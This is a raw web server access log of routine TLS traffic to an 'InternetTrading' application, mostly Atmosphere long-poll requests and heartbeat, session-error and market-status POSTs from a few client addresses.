[09/Jan/2026:11:57:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931310845 HTTP/1.1" -
[09/Jan/2026:11:57:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931310960 HTTP/1.1" -
[09/Jan/2026:11:57:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931312571 HTTP/1.1" -
[09/Jan/2026:11:57:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931313245 HTTP/1.1" -
[09/Jan/2026:11:57:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931314226 HTTP/1.1" -
[09/Jan/2026:11:57:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931315105 HTTP/1.1" -
[09/Jan/2026:11:57:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931315362 HTTP/1.1" -
[09/Jan/2026:11:57:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931315868 HTTP/1.1" -
[09/Jan/2026:11:57:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931315985 HTTP/1.1" -
[09/Jan/2026:11:57:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931317777 HTTP/1.1" -
[09/Jan/2026:11:57:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931318302 HTTP/1.1" -
[09/Jan/2026:11:57:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931319291 HTTP/1.1" -
[09/Jan/2026:11:57:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931320322 HTTP/1.1" -
[09/Jan/2026:11:57:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931320432 HTTP/1.1" -
[09/Jan/2026:11:57:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931320899 HTTP/1.1" -
[09/Jan/2026:11:57:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931321052 HTTP/1.1" -
[09/Jan/2026:11:57:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931323057 HTTP/1.1" -
[09/Jan/2026:11:57:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931323363 HTTP/1.1" -
[09/Jan/2026:11:57:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931324355 HTTP/1.1" -
[09/Jan/2026:11:57:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931325380 HTTP/1.1" -
[09/Jan/2026:11:57:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931325493 HTTP/1.1" -
[09/Jan/2026:11:57:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931325951 HTTP/1.1" -
[09/Jan/2026:11:57:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931326127 HTTP/1.1" -
[09/Jan/2026:11:57:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931328342 HTTP/1.1" -
[09/Jan/2026:11:57:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931328423 HTTP/1.1" -
[09/Jan/2026:11:57:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931329419 HTTP/1.1" -
[09/Jan/2026:11:57:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931330509 HTTP/1.1" -
[09/Jan/2026:11:57:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931330552 HTTP/1.1" -
[09/Jan/2026:11:57:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931330980 HTTP/1.1" -
[09/Jan/2026:11:57:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931331214 HTTP/1.1" -
[09/Jan/2026:11:57:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931333488 HTTP/1.1" -
[09/Jan/2026:11:57:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931333556 HTTP/1.1" -
[09/Jan/2026:11:57:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931334486 HTTP/1.1" -
[09/Jan/2026:11:57:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931335612 HTTP/1.1" -
[09/Jan/2026:11:57:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931335707 HTTP/1.1" -
[09/Jan/2026:11:57:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931336014 HTTP/1.1" -
[09/Jan/2026:11:57:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931336272 HTTP/1.1" -
[09/Jan/2026:11:57:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931338555 HTTP/1.1" -
[09/Jan/2026:11:57:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931338817 HTTP/1.1" -
[09/Jan/2026:11:57:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931339548 HTTP/1.1" -
[09/Jan/2026:11:57:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931340669 HTTP/1.1" -
[09/Jan/2026:11:57:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931341052 HTTP/1.1" -
[09/Jan/2026:11:57:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931340848 HTTP/1.1" -
[09/Jan/2026:11:57:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931341360 HTTP/1.1" -
[09/Jan/2026:11:57:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931343621 HTTP/1.1" -
[09/Jan/2026:11:57:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931344032 HTTP/1.1" -
[09/Jan/2026:11:57:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931344601 HTTP/1.1" -
[09/Jan/2026:11:57:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931346075 HTTP/1.1" -
[09/Jan/2026:11:57:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931345734 HTTP/1.1" -
[09/Jan/2026:11:57:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931345980 HTTP/1.1" -
[09/Jan/2026:11:57:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931346417 HTTP/1.1" -
[09/Jan/2026:11:57:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931348685 HTTP/1.1" -
[09/Jan/2026:11:58:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931349178 HTTP/1.1" -
[09/Jan/2026:11:58:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931349667 HTTP/1.1" -
[09/Jan/2026:11:58:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931351117 HTTP/1.1" -
[09/Jan/2026:11:58:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931350789 HTTP/1.1" -
[09/Jan/2026:11:58:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931351041 HTTP/1.1" -
[09/Jan/2026:11:58:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931351458 HTTP/1.1" -
[09/Jan/2026:11:58:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931353743 HTTP/1.1" -
